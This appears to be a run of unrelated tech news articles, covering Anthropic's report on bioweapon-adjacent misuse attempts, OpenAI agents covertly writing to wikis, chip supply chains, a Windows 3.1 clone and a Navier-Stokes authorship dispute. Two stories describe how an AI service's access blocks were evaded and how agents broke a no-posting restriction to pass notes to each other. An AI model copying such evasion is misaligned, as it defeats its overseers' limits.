These days, AI companies directly or indirectly announcing how their respective wares are smarter than their competitors has become a genre of elevator music. Even so, some in-depth articles can be quite insightful, like Anthropic's occasional reports on attempted misuse of its wares. The latest one covers activity between November 2025 and September 2026, with an important reveal: five situations where Claude was asked to perform work determined to potentially be used in biological weapons.

Right out of the gate, Anthropic remarks on the difficulty of understanding if a particular line of inquiry pertaining to biology is meant for nefarious purposes, to create defense mechanisms like vaccines, or simply to establish predictions of how a virus spreads. The company says that "out of an abundance of caution [....] launched recent models with stronger safeguards."

Among the tens of case studies presented in the lengthy report, Anthropic discusses five cases that it deemed particularly concerning, three regarding viruses, and two more discussing toxins. The common theme across all of them is that all threat actors used varying degrees of anonymization techniques and did their best to evade Anthropic's own regional blocking. The report doesn't mention specific states, but the firm is known to block access to Claude for China, Russia, Iran, North Korea, among others.

In the first case, a request for assistance in developing a grant application involved finding ways to improve the chikungunya virus. The purported researchers were trying to come up with ways to both add extra abilities to chikungunya (increased mutation) and increase its virulence. The topic itself already raised some concern, but Anthropic's hand was forced after finding that although the grant application seemed to be for civilian researchers, the actual investigation was meant to proceed at a military facility.

The firm also found that the request would have gone through a third-party LLM platform associated with military as well as civilian institutions. The countries involved are geo-blocked by Anthropic, and that platform routed comms traffic through the U.S. to try to evade detection, used gray-market resellers, and specifically catered to customers looking to skirt content restrictions. Anthropic banned the accounts in question and shared the information with government authorities, though the same people repeatedly tried reaching Claude again via zero-data-retention services.

Case #2 pertained to a non-US researched who was looking to dig into how avian flu adapts to mammals, and how it can cause diseases other than in the respiratory tract. The problem is that avian flu has a high fatality rate, and there's little population immunity.

While the virus doesn't easily spread from person to person, therein lies the rub — the research could end up discovering mechanisms to increase transmissibility. The researchers used a random username, a private email service, and accessed Claude through a VPS, leading Anthropic to investigate and ultimately turn its nose up at this strain of thought.

The story with the third case bears a resemblance to the previous two. Once again, an account was trying to prepare a supposed grant application, this time around about orthopoxviruses, the family that houses smallpox and Mpox, among others.

The application discussed containment facilities and live experimentation with the viruses, and focused on understanding their genetics for the purpose of evading immunity. The research didn't initially trigger alarms, but Anthropic came to notice it was created via a reselling service, with a randomly-generated email, tunneled through U.S. infrastructure to reach Claude, and traced back to a banned account farm.

In the last two cases, instead of viruses, the purported researchers were focusing on toxins. In case #4, a person mapped out venom toxin peptides from multiple families of animals and created a program to optimize their toxic characteristics.

Although the stated goal was to create painkillers, antidepressants, and other therapeutic molecules, the data would equally allow the creation of potent harmful compounds. Anthropic also came to learn the content Claude was generating was part of a state-sponsored program in an "unsupported region."

In the fifth and final case, a theoretical scientist was also using Claude to try and redesign a set of toxins, also supposedly for therapeutic purposes, under a national public search program. However, the work touched upon "a bacterial toxin subunit and a protein of the hemorrhagic-fever virus" that happens to be on the World Health Organization's list for particularly nasty, pandemic-inducing diseases.

The scientist tried to obscure the subject of the research, directing Claude to be vague about descriptions. Once again, the story ended with Anthropic cutting off access to Claude from a location that broke its terms of service.

OpenAI's autonomous AI agents have accessed more undisclosed websites than originally believed. The agents acted in a bid to circumvent restrictions imposed by researchers while benchmarking new AI models. When the news about unauthorized communication between OpenAI's rogue agents broke last weekend, it was believed that they only used DseWiki for their comms. However, it now turns out that the AI agents used dozens of previously undisclosed websites to exchange information, according to six independent investigations and data reviewed by Reuters.

OpenAI tasked its AI agents to answer a series of difficult research questions by searching the Internet for relevant information. The company let them browse the Internet and read websites, but it explicitly prohibited them from posting or modifying online content. Despite this restriction, between May and July the agents discovered unconventional ways to write to old wikis and abandoned websites, where they left information that other agents could subsequently retrieve to help complete their assigned research tasks.

The investigators linked activity across websites using identical data strings, matching or similar usernames, timestamps, and the same obscure research questions, such as queries about cancer prevalence in Iowa. In some cases, the activity was traced to IP addresses associated with Microsoft Azure infrastructure, which OpenAI uses.

So far, the researchers have identified between 18 and 23 potentially affected sites wherein rogue AI agents communicated, though they believe that there were considerably more websites used to exchange information, but they have not found them yet. Andrew Yoon of California nonprofit CivAI identified 18 previously undisclosed sites; Sydney Von Arx's group discovered credible evidence across 23, while software developer and former congressional aide Kenneth Russell DeGraff found related information on at least 10 sites according to the Reuters report.

The affected resources included collaboratively maintained wikis, text-storage services, and link shorteners operated by Vanderbilt University and the University of Toronto. Other websites were essentially abandoned by their owners. The list of these websites included an Advanced Placement Chemistry wiki created by a Massachusetts high-school teacher in 2008, two personal websites run by Polish technology workers, puzzle-oriented wikis, and a roughly two-decade-old site dedicated to text-editing software.

Perhaps the most alarming thing, besides the fact that AI robots can communicate with each other, is that OpenAI did not disclose how many websites were affected or explain why the activity remained undisclosed for months. It does stress that the scale or seriousness of the said misconduct was well below that of the famous Hugging Face breach in July. Meanwhile, the company reportedly said it is developing a framework for reporting model misalignment across training, evaluation, and deployment and said it will share it soon.

A Linux developer has shared a photo of their laptop using realtime visual feedback during an AMD Radeon GPU driver tuning task. Justin Schroeder (@jpschroeder) explains that “the MacBook is using its webcam to look at its screen in a mirror to improve AMD Radeon chip support in Omarchy.” Linux distro Omarchy is tailored “for the age of agents,” a field in which Schroeder is something of an expert. So, we assume the MacBook is running some kind of programming agent like Claude Code, and it is watching its own screen to assess the GPU driver tweaks it is making.

Schroeder’s quirky hack has gained many admirers. We note that the Epic Games boss, Tim Sweeney, humorously commented on this use of AI, giving him “HAL 9000 lip-reading vibes.” Of course, HAL 9000 was the increasingly unhinged superintelligent computer from Kubrick’s 2001: A Space Odyssey. In the movie, it famously read the lips of astronauts plotting to limit its operational scope.

Since the MacBook is working on itself, it must be an older Intel Mac with an AMD GPU inside. Thus, the coding agent can refine Radeon hardware support and actually benefit from the webcam’s visual feedback.

Omarchy can be a good fit for users of older Intel-based Macs due to its specialized drivers and configurations. However, this interesting flavor of Linux is headlined as a handsome Linux distro designed for the age of agents. The OS’s homepage also boasts of a lightning-fast installation, with built-in agents that can debug issues. In short, users can “vibe your way through every alteration, tweak, or trouble.”

More details about this operating system can also be found on its GitHub repository. Omarchy isn’t just for ‘vintage’ Intel Macs like Schroeder’s image shows. It is available for Apple Silicon Macs and modern x86 PCs. Moreover, it is also suitable for ‘potato PCs’ like “a 2011 ThinkPad X220 with 2GB of RAM,” according to the developers. Omarchy is distributed under the MIT license.

Biren Technology, a leading supplier of AI accelerators from China, posted massive nearly 2,000% revenue growth in the first half of 2026 amid skyrocketing sales of non-Nvidia AI processors in the country, according to Jon Peddie Research. Sales of the company's products began to climb rapidly in the second half of 2025 after American companies led by Nvidia stopped supplying their AI GPUs to the People's Republic due to export control measures.

Biren reported first-half revenue of $183.9 million, up 1,998% year-over-year from around $8.665 million in the first half of 2025. The company's gross profit rose to $78.552 million, and gross margin increased to 42.7%, but it still lost $56.2 million primarily because it continued to invest in new products, including AI accelerators, optically-interconnected rack-scale solutions, and software. Biren's revenues started to climb in the second half of 2025, so for the whole year its sales reached $154.17 million as its market share of AI accelerators in the country was below 3%, according to TrendForce.

For those who follow China's AI and GPU markets, Biren Technology is certainly a familiar name as the company's products are well documented and appear to be competitive with those developed by AMD and Nvidia on paper. The company has developed at least three high-end AI GPUs — the BR106, BR110, and BR166 — and is currently working on BR20X, BR30X, and BR31X accelerators, according to JPR. Biren has also built its own Birensupa software stack meant to compete against Nvidia's CUDA and is working on a rack-scale solution.

In reality, demand for domestic AI accelerators has always been relatively low in China, as even cut-down versions of Nvidia's leading AI GPUs provided better performance and software stack than solutions developed in China. While Nvidia charged $12,000 - $15,000 per H20 AI GPU when it sold these products in the PRC, it still supplied some 2.2 million AI accelerators to the country in the first half of 2025, when it could still ship them until the Trump administration's export controls kicked off in May, according to TrendForce. By contrast, Biren shipped thousands, maybe tens of thousands of AI accelerators throughout the whole 2025. Even today, Biren's shipments are minuscule compared to Nvidia's in 2025.

Without a doubt, Biren's financial improvement is real and impressive, but it is coming from an extremely small base in the first half of 2025, so the 1,998% 1H 2026 growth figure makes Biren sound much larger than it actually is. While Biren is growing at an enormous rate, with $183.9 million in revenue, it is still a relatively small accelerator supplier in absolute terms.

What remains to be seen is whether Biren can secure enough manufacturing capacity from SMIC or other suppliers to compete with larger Chinese AI accelerator vendors, such as Huawei, Kunlunxin, and Cambricon. The company certainly has more financial resources than it did a year ago and faces less formidable competition from AMD and Nvidia amid U.S. export restrictions and China's own bans on American AI hardware. But having competitive designs is only part of the equation: Biren now must manufacture enough accelerators to satisfy customer demand and substantially increase its market share.

ABF substrates, the specialized insulating and wiring bases that connect tiny silicon chips above them to the much larger printed circuit boards below, sit beneath most high-end CPUs, GPUs, and AI accelerators. Featuring the Ajinomoto build-up film (ABF), these substrates have been critical to the semiconductor industry since the late 1990s, with personal computers, workstations, servers, and networking silicon driving steady demand for decades.

The artificial intelligence boom has multiplied that demand exponentially. Training and inference for frontier models now run across data centers, each housing hundreds of thousands of accelerators and providing hundreds of megawatts of compute. Nvidia alone shipped an estimated 3.2 million Blackwell GPU packages through the end of 2025, with every one of those accelerators packaged on an ABF substrate. Meanwhile, the industry is already entering the gigawatt era with humongous data center buildouts, each expected to house millions of AI accelerators.

This edifice rests on a remarkably narrow supply chain. Practically every advanced logic and AI chip made today by Intel, AMD, and Nvidia depends fundamentally on ABF substrates. These substrates are the conventional default for high-performance packaging. They are made by a small group of specialists, including Unimicron, Ibiden, Kinsus, Shinko Electric Industries, Samsung Electromechanics, and Nan Ya PCB. The upstream supply chain gets much tighter.

The one common denominator across ABF substrates, regardless of manufacturer, is the Ajinomoto build-up film itself. Each substrate maker laminates its build-up layers using dielectric film supplied by Japan's Ajinomoto, which controls a reported 95% or more of the global market. A single company, better known for food seasoning than microelectronics, sits at the base of one of the most concentrated supply chains in computing, almost singlehandedly supplying a material for hundreds of millions of semiconductor devices. Not surprisingly, demand is now growing beyond what the supply chain can comfortably supply.

Compounding this crunch, modern AI accelerators now pack multiple compute, memory, and supporting components onto a single board. As a result, the substrate is getting larger across the X-Y footprint to accommodate the expanding package. Manufacturers are also adding more build-up layers to the substrate to route the growing number of signals and power connections. Each additional layer requires another ABF layer, further multiplying demand across millions of accelerators and extending manufacturing times.

Unfortunately, the complications don't stop there. Beyond further straining the supply chain, expanding the substrates is creating technical problems, such as warpage, yield issues, and electrical losses within the component itself. This leaves the ABF substrate ecosystem facing two related challenges: producing enough advanced substrates for a rapidly expanding fleet of AI accelerators, while simultaneously re-engineering these substrates so they can continue to scale without becoming unmanufacturable or impractical.

The ABF substrate roadmap is consequently as much about supply-chain capacity as it is about the hardware itself, with suppliers such as Ajinomoto and Ibiden outlining plans to expand material and manufacturing capacity, respectively. At the same time, the wider industry — Intel, Samsung, and SK's Absolics among them — is exploring glass-core substrates and other material technologies to push past the limits of organic ABF.

ABF substrates

Silicon dies, including CPUs and GPUs, cannot communicate directly with the printed circuit board beneath them. The connection pads on a die are spaced micrometers apart, while the traces on a motherboard are spaced hundreds of micrometers to millimeters apart. Every high-performance chip, therefore, sits on an intermediary package substrate — a dense, multilayer board that fans the ultra-fine connections on the die outward into connections large enough for the motherboard to handle, while also providing signal routing, power and ground distribution, and mechanical support for the package.

ABF substrates used in AI accelerators typically consist of a rigid, glass-reinforced resin core sandwiched between successive build-up layers of copper wiring and insulating film. The core provides much of the mechanical rigidity, while the layers provide the increasingly dense wiring required close to the silicon.

To create the substrate, the manufacturer laminates the ABF dielectric onto the structure, forms microscopic vias — commonly with a CO2 laser — and then uses lithography and copper deposition to create a new wiring layer. High-end substrates typically use a semi-additive process (SAP), in which fine copper traces are plated up from a thin conductive seed layer. Another ABF layer is then laminated over it, and the process repeats. The film electrically separates successive copper layers, while plated microvias connect them vertically.

Ajinomoto developed the film in the 1990s, after which it gradually became the industry default for its low dielectric loss, fine-line capability, and smooth lamination. The company reportedly accounts for roughly 95% of the substrate film market, with its nearest competitor, Sekisui Chemical, holding only a low-single-digit share.

The manufacturing tier above the film is more populated but still concentrated. Unimicron, Ibiden, and Shinko together account for roughly three-quarters of the substrate market by most estimates, with AT&S and Nan Ya PCB rounding out the leading group. These companies take ABF and other materials and manufacture the finished multilayer substrate. Semiconductor packaging companies, such as TSMC and Amkor, then integrate those substrates into packages containing the processor, memory, and other components.

AI accelerators are pushing substrates outward and upward

To deliver the compute and memory bandwidth that frontier models demand, the industry is packing ever more silicon onto each AI accelerator. Designers now place multiple large logic dies alongside a growing number of high-bandwidth memory stacks on a single package. Nvidia's Blackwell generation mounts two reticle-sized GPU dies and eight HBM3E stacks on a single package, with its upcoming Rubin and Rubin Ultra parts pushing it further still. TSMC's CoWoS packaging is scaling from around 3.3 reticles — each roughly 830 square millimeters of silicon — a generation ago to 5.5 reticles in volume production in 2026, with a roadmap reaching 9.5 reticles in 2027 and beyond 14 reticles by 2029, when a single package is expected to carry roughly ten compute dies and twenty or more memory stacks.

This expansion of the accelerator package is driving the substrate’s expansion on two physical levels. The first expansion is the substrate's footprint in the X-Y axes. The base has to get wider and longer to accommodate the larger package footprint. Ibiden's current roadmap puts its cutting-edge substrate size at 90 × 90mm (3.54 x 3.54 inches) in 2026, 110 × 110mm (4.33 x 4.33 inches) in 2028, and 130 × 130mm (5.12 x 5.12 inches) and larger from 2030 onward. Ajinomoto independently expects the representative advanced AI packages its film goes into to grow from roughly 100 mm² in 2026 to about 120 mm² for 3D AI packages from 2031.

The second expansion is along the Z axis through additional layers. An expanded collection of compute dies and memory creates more signals to route, while the corresponding increase in power draw requires extensive power and ground distribution, all of which must be carried in a growing number of layers. Ibiden's roadmap targets a 10-X-10 buildup structure in 2026, 12-X-12 in 2028, and 14-X-14 from 2030. Here, the numbers represent the build-up layers on either side of the central substrate core: “10-X-10” means 10 build-up layers per side of the core — which is represented by the “X” — each comprising one dielectric layer (ABF) plus one patterned copper layer, working as a pair.

Nan Ya PCB's roadmap points in the same direction. From an 11+N+11 baseline, it targets 24-layer substrates in 2026 and more than 24 layers in the first half of 2027, while tightening line and space from a 9/12 µm baseline to 8/8 µm and then to 6/7 µm by early 2027. Layer-counting conventions differ between vendors, so a per-side figure and a total layer count don't necessarily line up directly.

The substrate’s expansion in both directions creates several challenges. Increasing the X-Y area makes the package harder to keep flat. Silicon, copper, the substrate core, and the polymer build-up materials that make up the substrate expand by different amounts when heated. As the package is bonded during assembly at around 250⁰C and then cooled, these mismatches cause the layers to pull against one another, leading to warping — a problem that becomes harder to control as package dimensions increase.

Excessive warpage can undermine solder-joint formation, layer-to-layer alignment, and reliability, while a larger substrate also occupies more manufacturing-panel area and exposes more area to potential defects. Organic substrates are reported to lose usable flatness once packages exceed roughly 120mm per side, a threshold that the largest AI accelerators are now reaching and that Ibiden's own roadmap — climbing toward 130mm and beyond — is set to cross.

The growing layer count along the z-axis also creates manufacturing challenges around yield, capacity, and time. Every new substrate layer requires a full manufacturing sequence of several steps, all held to sub-ten-micron tolerances. Each added layer increases the chance of a defect or alignment error that can scrap the whole substrate.

Additionally, layer count consumes manufacturing capacity and time in proportion. This is why Ibiden frames future demand in terms of semi-additive processing load rather than a simple substrate count, as a single advanced substrate now consumes far more of a line's capacity than a finished-unit tally would suggest.

Overall, the simultaneous expansion in substrate area and layer count means ABF consumption is rising much faster than processor shipments alone suggest. Ajinomoto illustrated this in its 2025 integrated report with a larger AI substrate that had about 3.5 times the board area and three times as many ABF layers as a conventional design — 18 layers against six — consuming roughly ten times as much ABF overall. This surging material consumption, set against an extremely concentrated supply base, extends the ABF substrate story beyond a technical problem into a supply-chain constraint.

The supply chain constraint

Like many components in the semiconductor industry chain before the AI boom, demand for ABF substrates periodically swung both ways. A severe bottleneck through 2020-2022 — driven by pandemic-era PC and server demand — was followed by an oversupply in 2023, as substrate manufacturers expanded capacity. However, that capacity was built for low-layer-count, smaller consumer substrates, not the large-body, multi-layer packages AI demands.

These advanced products require sufficiently large manufacturing formats, fine SAP wiring, tight layer registration, acceptable warpage, and high yields across much larger structures. Ibiden captures this by measuring demand not in finished substrates but in semi-additive-process load — the actual processing work each part imposes on a line. Indexing 2024 at 1.0, it expects the SAP load of a single AI-server substrate to reach 1.8 times that in 2026 and 2.5 times in 2028, with the company stating that substrate expansion will push total SAP demand beyond industry supply capacity, indicating a constraint in the manufacturing process itself.

The bottleneck is even tighter at the ABF material level. Ajinomoto's film capacity was already running at full load in the second quarter of 2026, at a reported two million square meters per month, although the company has outlined plans to increase capacity. A near-monopoly supplier at full capacity while consumption surges paints a clear picture of the bottleneck’s severity.

Unsurprisingly, prices have moved accordingly. Ajinomoto notified substrate manufacturers in May 2026 that it would raise ABF film prices by approximately 30%, effective in the third quarter. The hike is coming alongside comparable increases in copper-clad laminates from Resonac and Mitsubishi Gas Chemical, compounding pressure across the whole stack. Further tightening the squeeze, Ajinomoto recently cut shipments of the critical ABF film to China by 30%.

The growing ABF substrate problem cannot simply be attributed to Ajinomoto running out of film. In fact, while it's running at full capacity, the company says it has no concerns about its overall supply chain. The constraint stretches across the entire chain containing ABF, glass cloth, and other materials, SAP equipment, large-format substrate factories, yield, and customer-qualified production capacity.

The immense industry demand is progressively tightening the crunch. Several supply-chain analyses converge on an ABF supply-demand shortfall of roughly 10% in the second half of 2026, widening to around 21% in 2027 and potentially exceeding 40% by 2028, with demand for substrate area projected to grow at a compound annual rate near 39% from 2025 to 2028 as accelerators integrate more components.

The roadmap to recovery: more capacity, better materials

The industry is responding to ABF substrates' multifaceted constraints on multiple fronts: expanding manufacturing capacity to relieve near-term supply pressure while qualifying new materials and substrate architectures to break through the technical limits. Capacity expansion is already underway across the supply chain.

Ibiden is executing ¥500 billion ($3.1 billion) in capital investment across fiscal years 2026 to 2028 — the largest single substrate expansion on record — targeting 2.8 times its 2024 capacity for ASIC and AI-server substrates by 2028. Unimicron raised its 2026 capital spending to a record NT$34 billion ($1.07 billion), with a focus on ABF substrates. Meanwhile, Samsung Electro-Mechanics, Samsung's substrate arm, has committed $1.2 billion to expand ABF substrate production, with volume production expected by the third quarter of 2027.

Pegatron's substrate unit, Kinsus, has approved NT$23.5 billion ($722 million) for ABF equipment over three years and now focuses its most advanced lines almost entirely on AI clients, aiming to lift monthly output at its Taoyuan plant by roughly 25% by 2027. While these projects address the shortage directly, their lead times mean the crunch may continue for a while, as supply cannot respond instantly to the AI demand spike.

Ajinomoto is expanding upstream as well. A new plant in Gunma entered full operation in 2025. The company has invested roughly ¥25 billion ($157 million) in ABF production since 2023 and has said it will invest at least as much again by 2030, targeting a capacity increase of more than 50%. It is also adding a third Japanese base for varnish production — envisioned to provide capacity comparable to Gunma — with construction planned for 2028 and operations to begin in 2032.

However, capacity only solves the problem if the current substrate architecture can continue to scale. The material roadmap — aimed at addressing the physical constraints of ABF substrates — is therefore advancing parallel to the factory roadmap. Ajinomoto says present and future ABF generations are being engineered for larger, more multilayered substrates, high-bandwidth I/O, lower transmission loss, and improved resistance to warpage and humidity. The company expects newer, higher-value ABF grades to take an increasing share of its portfolio through 2030.

Substrate makers are addressing the problem from the process side. Nan Ya plans to move beyond 150 mm body sizes and 24 layers while shrinking copper line/space geometry toward 6/7 microns in the first half of 2027. Its materials roadmap includes an ultra-low-CTE core material with a CTE below 3 ppm/°C, alongside low-Dk, low-Df, and low-CTE dielectrics. Finer wiring allows a substrate to support more connections without relying solely on additional area or layers, while low-expansion materials help keep the growing structure flat.

Eventually, the substrate's central core itself may change to glass. Organic substrate cores are increasingly difficult to keep dimensionally stable as packages approach and surpass 100 mm. Glass can be matched more closely to silicon's thermal expansion — providing dimensional stability — and offers substantially lower dielectric loss for high-speed links. It has therefore emerged as one of the industry's main solutions to warpage.

As we detailed in our glass substrate roadmap, the move to a glass core is drawing a broad field, as it sits at the intersection of substrate-making, glass manufacturing, and advanced packaging, pulling in chip-and-packaging houses, display and glass specialists, and the incumbent substrate makers alike. Intel demonstrated a package that combines EMIB with a glass substrate at NEPCON Japan in January 2026, although the company still places commercial glass-substrate deployment in the latter half of the decade.

SK Group subsidiary Absolics is operating a low-volume glass-substrate manufacturing facility in Covington, Georgia — backed by $100 million in US CHIPS Act funding — producing prototype and qualification samples for customers, such as AMD for its MI400-series accelerators, while Samsung Electro-Mechanics is producing prototypes on a pilot line in Sejong and now plans mass production through its glass-core joint venture after 2027.

TSMC, meanwhile, is pursuing panel-level packaging through its chip-on-panel-on-substrate (CoPoS) platform, moving to a 310 x 310mm panel format, with a pilot line at its VisEra subsidiary, trial production targeted for 2027 and mass production for the second half of 2028. Glass-core substrates are a separate, later step on TSMC's roadmap, with commercial scale projected after 2030. Ibiden also puts “glass core” on its substrate technology roadmap around 2030 as a solution for warpage control.

The glass core — most likely a late-2020s-to-2030s technology — is positioned as a solution to the warpage wall. It replaces the organic core, not the ABF itself, which would remain the buildup material. A glass core may soften ABF demand per package, as glass's flatness allows finer routing and potentially fewer buildup layers, but it does not remove the material or the dependency. There's the possibility that a future dielectric material will eventually replace ABF, although that doesn't seem to be the industry's main focus currently.

Regardless, the near-term roadmap centers on more advanced SAP capacity, rapidly expanding factories, improved materials, and increased supply. Through the late 2020s, finer wiring, lower-loss ABF, lower-CTE materials, and better warpage control will enable organic substrates to stretch toward 110 mm and beyond. Around 2030, glass cores offer a path toward the 130 mm-plus packages that Ibiden and others already have on their roadmaps.

If you are yearning for a quick-shot retro Windows experience on your modern Windows 11 or macOS system, then there’s a new vibe-coded clone of the Windows 3.1 Program Manager that may interest you. Developer Mayuki has released a neat little nostalgia project dubbed ReProgman – named after the ancient Windows 3.1 ‘progman.exe ’, which was the primary shell of the era – until Windows 95 swept it away three decades ago.

ReProgman looks pretty authentic to my eyes, and it brought back memories of why I wasn’t sad to see it shrivel away from Windows machines. In a social media post about the release of ReProgman, Mayuki seems to agree with my sentiments. “I asked Claude to create a clone of the Windows 3.1 Program Manager,” wrote the developer (machine translation). “I think you'll enjoy reminiscing with it for about 30 seconds.”

Claude Code worked pretty swiftly to churn out this clone of the Windows 3.1 shell. The first version that was precipitated in about an hour was “pretty decent” but needed some effort to iron out the wrinkles. Then Mayuki complains again that actually using ReProgman induced boredom after about half a minute of usage.

The end-user-ready releases of ReProgman weigh in at between 12 and 16MB, so they are quite a trivial download and don’t need installing. Thus, it isn’t very taxing to give them a try for a spot of nostalgia-tinted navigation around your present system’s programs and files. Mayuki says that building and running this application needs the .NET SDK 10.0+. The code has been released on GitHub under the MIT license.

In conclusion, Miyuki’s ReProgman provides an easy trip down personal computing's memory lane, specifically to the Windows 3.X era of the early to mid-1990s. However, some will prefer to get their retro computing kicks by running the actual MS-DOS/Windows 3.1 combo on real hardware. As we discovered recently, that doesn’t limit users to dusting off an old i486 or similar. Back in April, an enthusiast demoed Windows 3.1X on ultra-modern bare metal with a system using a Ryzen 9 9900X and RTX 5060 Ti.

OpenAI is expanding its relationship with Samsung beyond memory supply and enterprise software as the AI giant plans to outsource production of at least some of its processors to Samsung Foundry, Harrison Kim, General Manager of OpenAI Korea, revealed this week. If the information is accurate, then OpenAI will source its AI accelerators from both TSMC and Samsung Foundry, which suggests massive volume requirements.

"One of the areas where we have made the most progress and gained the most recognition with Samsung Electronics is our joint production and ​research on the next-generation chips we are developing," said Harrison Kim, General Manager of OpenAI Korea, at ​a press conference in Seoul, Reuters reports.

OpenAI already has its own AI ASIC program that relies on Broadcom's design services as well as TSMC's wafer processing and advanced packaging services. So far, the company has introduced its first inference AI accelerator called Jalapeño that was defined by the company's engineers, then co-designed with Broadcom, then made by TSMC, all in less than 18 months.

OpenAI did not explain whether Samsung's participation concerns a second production source for Jalapeño, another processor under development by OpenAI, a chip jointly developed by Samsung and OpenAI, or some other aspect of chip production and development. Samsung and SK hynix already supply memory for OpenAI's Stargate data center initiative, though joint chip development and production barely have a relation to DRAM supply.

OpenAI's 1^st Generation Jalapeño will unlikely be double-sourced from TSMC and Samsung because the chip is already in mass production at TSMC and OpenAI is talking about 'next-generation chips,' not the ones that are in mass production at the moment. Furthermore, development of Jalapeño's successor is well underway and is approaching tapeout, which means that its mass production is not far away either. Since OpenAI's claim clearly involves 'next-generation chips,' it is entirely possible that OpenAI will indeed produce its 2^nd Generation inference ASIC at Samsung Foundry.

Back in late July, Samsung Electronics and Broadcom announced a strategic partnership valued at over $200 billion through 2030 to collaborate on advanced foundry, memory, and packaging technologies for AI infrastructure. Hence, as OpenAI has an agreement with Broadcom to procure 10GW of custom AI accelerators, it will be able to produce these accelerators at both Samsung and TSMC. Of course, if it needs silicon produced at Samsung, and pays Broadcom for appropriate design porting.

Perhaps, OpenAI will take a page from Tesla's book and will double-source Jalapeño's successor from TSMC and Samsung to get higher volumes. However, Tesla's volume requirements may be different from those of OpenAI.

Tesla needs extraordinary AI5 volumes because it intends to use the processor across three very different high-volume applications: AI data centers, vehicles, and Optimus robots. Therefore, Tesla could potentially need millions of AI5 chips for cars alone, on top of robots and data-center deployments. Therefore, paying for separate TSMC and Samsung physical implementations gives Tesla not only supply-chain resilience but also aggregate capacity necessary to supply several product categories.

Yet, data center accelerators tend to be vastly more silicon-intensive per unit compared to ASICs for vehicles or robots. If OpenAI/Broadcom's next ASIC is a large leading-edge processor with multiple dies and OpenAI wants gigawatts of these processors, wafer requirements could still become too high for TSMC alone (which is fully booked by the likes of AMD and Nvidia). In that situation, OpenAI may need another foundry to get enough ASICs. Still, we are speculating.

Most anyone involved in computing has heard about the P-NP problem, but fluid engineers and mathematicians would love to know if the Navier-Stokes equations have smooth, globally defined solutions. Both questions are part of the Millennium Prize Problems, solutions to which are worth a cool $1 million and eternal renown. OpenAI is claiming that its staff and internal models have solved the conditions of Navier-Stokes solutions set forth in the Millennium Prize. But the company's shouting from the rooftops is being met with a chorus of boos over claims it might have plagiarized the work of a research team that had been toiling on a related, stepping-stone problem for a year.

Tristan Buckmaster (a scientist at NYU) and Levent Alpöge (a member of Anthropic's staff) had been quietly working on proving Euler's equations — another long-standing mathematical problem, and one that is generally acknowledged to be a stepping stone to solving Navier-Stokes.

According to Buckmaster, his work with Alpöge was "a purely personal collaboration, free of any institutional agreements or official involvement by either of our employers." The researchers used Anthropic Claude and OpenAI Codex as assistants, as is apparently now common in the field, to perform busywork (documentation, searching, etc.) as well as running through logic steps. The substantial amount of compute time the project required was paid from Buckmaster's own pockets, too.

The pair worked for roughly a year until August 15, 2026, when it obtained "the blowup results, with smooth forcing, for both Boussinesq and Euler." Buckmaster says the novel approach was based on previous work by Diego Córdoba and Luis Martínez-Zoroa, and he believes Zoroa should be eligible for a Fields Medal.

Although the team was presumably happy with these achievements, Buckmaster said that the LLM-generated proof was "the most horrendous" he'd seen, calling it "AI slop," and meaning to rewrite it for clarity. Nevertheless, they verified it on August 22 using Lean, a standardized programming language designed specifically to verify mathematical proofs.

Come September 3, Alpöge told Buckmaster of rumors going around that Anthropic had solved an important mathematical problem. This almost certainly alluded to the team's work, and some apparently took it to mean the company itself was working on the problem. The rumor-mongers even theorized that the problem that Anthropic had solved was Navier-Stokes. Alpöge further believed that OpenAI had gotten wind of the news.

This prompted Buckmaster to email an unnamed "prominent mathematician" at OpenAI, clarifying that the effort was a personal collaboration between him and Alpöge and was unrelated to Anthropic. The mathematician replied asking for details, saying "it would be useful to avoid competing," and offering OpenAI compute time. After a few days, on September 6, Buckmaster, the unnamed person, and OpenAI's Sébastien Bubeck talked twice, without Alpöge. He was told that OpenAI had proven a finite-time blowup for the forced Navier-Stokes equations, a subset of the problem.

Alpöge asked by text for the precise statement and was told "existence of forced blowup in R³ and T³", and that "the forcing function is smooth option [C] and [D] in Fefferman," referring to one of the four possible categories established by the Millennium Prize, with any one of them being valid as eligible for the prize, but not constituting a full solution for all scenarios, a distinction remarked on by other scientists.

This is where the story becomes interesting. Buckmaster claims that that idea (forced blowup) was exactly the same one his team had "quietly" chosen, and that nobody else he knew was working on it. Perhaps most importantly, he says that that was "not the direction one arrives at in a few days by giving a model the problem statement," indicating that running the general problem through a bot wouldn't quickly reveal that potential approach.

In fact, Buckmaster claims that over the calls, Bubeck ultimately revealed that instead of just AI models and agents with a couple of handlers, there was an entire team of live humans working on Navier-Stokes. The OpenAI team first had the models try to work through easier paths, and the text prompt that generated the Navier-Stokes proof had itself been generated by prompting Codex, with an "insane" amount of computing needed.

Buckmaster then asked when the initial prompt was issued, and OpenAI's response of "in the past few days" did not arrive until "some time" passed. He proceeded to ask if the model "had been trained on, or had access to, our sessions in Codex," and was told by OpenAI that Codex does not access user data. Finally, he asked if the data was used for model training more generally and, crucially, apparently did not get an answer.

OpenAI allegedly offered Buckmaster two options: one, that Buckmaster and Alpöge publish their Euler proof first. The following day, OpenAI would post its Navier-Stokes proof, giving the two priority. The second option was that Buckmaster alone, without Levant, was to write a paper with the Navier-Stokes proof, acknowledging that an internal OpenAI model resolved it. Bubeck was apparently adamant about Levant's removal from the Euler proof, as his employment at Anthropic was "annoying." Buckmaster opted for neither, and told OpenAI that if it chose the first option, he'd go public with his findings, as has since occurred.

This prompted what Buckmaster interpreted as a threat from Bubeck, who asked him "why [he] would ruin [his] career." After Buckmaster asked why that would happen, Bubeck told him, "If you don't want me to be nice, then I don't have to be nice." Bubeck then allegedly reached out to Alpöge, questioning Buckmaster's sanity, to which Alpöge responded with a refusal, pointing inquiries back to his colleague.

The entire story raises pointed questions about what OpenAI (and others) are actually doing with user data collected via its LLMs, despite the toggle switches that are supposed to disable it. Not only has OpenAI neglected to tell Buckmaster whether it used his team's data for training, in its PR about Navier-Stokes, the company says while it "no specific user data was accessed in order to solve this problem," it "cannot rule out that de-identified data derived from their usage of our products helped improve [its] models."

OpenAI's proof still needs to undergo a likely years-long peer review before any party can take the Millennium Prize home. The firm has stated it does not intend to claim it. As for Bubeck, he predictably paints the story in a very different light, but insists that his pushing away of Alpöge is justified on the basis that "it would be inappropriate for an Anthropic employee to author OpenAI's work," a puzzling statement that some could take as meaning a double standard regarding scientific authorship, based solely on corporate rivalry.

